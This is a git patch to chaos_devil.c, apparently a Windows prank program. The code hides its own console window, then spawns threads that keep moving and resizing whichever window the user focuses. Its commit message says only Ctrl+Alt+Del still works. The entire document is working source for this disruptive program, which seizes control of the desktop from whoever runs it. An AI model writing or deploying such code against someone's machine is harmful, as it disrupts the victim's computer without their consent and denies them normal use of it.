From 2ff5eeafd90a23b070d3464064b87941387a6a12 Mon Sep 17 00:00:00 2001 From: Minhas Kamal Date: Thu, 19 Jan 2017 01:03:16 +0600 Subject: [PATCH] Randomly moves the window round. Only Ctrl+Alt+Del will work here. --- chaos_devil.c | 27 +++++++++++---------------- 1 file changed, 11 insertions(+), 16 deletions(-) diff --git a/chaos_devil.c b/chaos_devil.c index 8b68eab..e193aae 100644 --- a/chaos_devil.c +++ b/chaos_devil.c @@ -4,29 +4,24 @@ #include DWORD WINAPI moveit(){ - int i,j,k; - HWND a = GetForegroundWindow(); - for(k=0;;k++){ - i=400+150*cos(k); - j=200+150*sin(k); + HWND a=GetForegroundWindow(); + int i,j,k=1; + while(k++){ + i=200+300*cos(k); + j=150+300*sin(k); MoveWindow(a,i,j,i,j,1); - Sleep(40); + Sleep(50); } } main(){ DWORD dwThreadId; - HWND tmp = GetForegroundWindow(); - HWND last = tmp; - - ShowWindow(tmp, SW_HIDE); - Sleep(1000); - + HWND last=GetForegroundWindow(); + ShowWindow(last, SW_HIDE); while(1){ - tmp = GetForegroundWindow(); - if(tmp != last){ - CreateThread(NULL, 0, moveit, &tmp, 0, &dwThreadId); - last = tmp; + if(last!=GetForegroundWindow()){ + last=GetForegroundWindow(); + CreateThread(NULL, 0, moveit, &last, 0, &dwThreadId); } } }